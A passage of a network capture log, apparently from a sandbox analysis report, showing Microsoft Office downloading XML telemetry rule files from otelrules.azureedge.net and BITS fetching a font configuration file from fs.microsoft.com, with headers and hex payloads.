6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.5	49766	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:38 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:38 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:38 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 414c800a-401e-0035-7cbf-3e82d8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110738Z-178bfbc474bnwsh4hC1NYC2ubs00000007e0000000006qr1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:38 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.5	49768	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:38 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:38 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:38 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 527e1194-e01e-0071-7e41-3e08e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110738Z-15b8b599d88vp97chC1TEB5pzw00000005rg00000000e3b6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:38 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.5	49767	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:38 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:38 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:38 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: ed66cbfc-201e-0051-7e30-3c7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110738Z-178bfbc474bgvl54hC1NYCsfuw00000007f0000000000ey3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:38 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.5	49772	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:40 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:40 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:40 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 97f3364e-001e-00a2-6ca6-3ed4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110740Z-178bfbc474bh5zbqhC1NYCkdug00000007a0000000005pph x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:40 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.5	49776	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:40 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:40 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:40 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 9177d9ad-001e-0028-350e-3dc49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110740Z-178bfbc474bnwsh4hC1NYC2ubs00000007e0000000006qwa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:40 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.5	49775	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:40 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:40 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:40 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 9a08bc20-501e-00a0-39ae-3e9d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110740Z-178bfbc474bfw4gbhC1NYCunf400000007eg000000002dr2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:40 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.5	49774	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:40 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:40 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:40 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 8a9c0054-c01e-0046-231b-3e2db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110740Z-178bfbc474bh5zbqhC1NYCkdug00000007bg000000003due x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:40 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.5	49773	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:40 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:40 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:40 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 974535d3-001e-002b-30bf-3e99f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110740Z-178bfbc474btrnf9hC1NYCb80g00000007f0000000009g2k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:40 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	49778	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:40 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-25 11:07:40 UTC	478	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=80751 Date: Mon, 25 Nov 2024 11:07:40 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	49787	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:42 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-25 11:07:42 UTC	534	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=80727 Date: Mon, 25 Nov 2024 11:07:42 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-25 11:07:42 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.5	49779	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:42 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:42 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:42 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: b70f59bb-c01e-0079-1f91-3de51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110742Z-15b8b599d885ffrhhC1TEBtuv00000000600000000001p7e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:42 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.5	49783	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:42 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:43 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:42 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 3074f9d5-701e-001e-47fc-3df5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110742Z-178bfbc474bv7whqhC1NYC1fg400000007ag000000008re9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:43 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.5	49780	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:42 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:43 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:42 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 732016c8-001e-000b-7fb8-3e15a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110742Z-178bfbc474bq2pr7hC1NYCkfgg00000007k0000000003ywq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
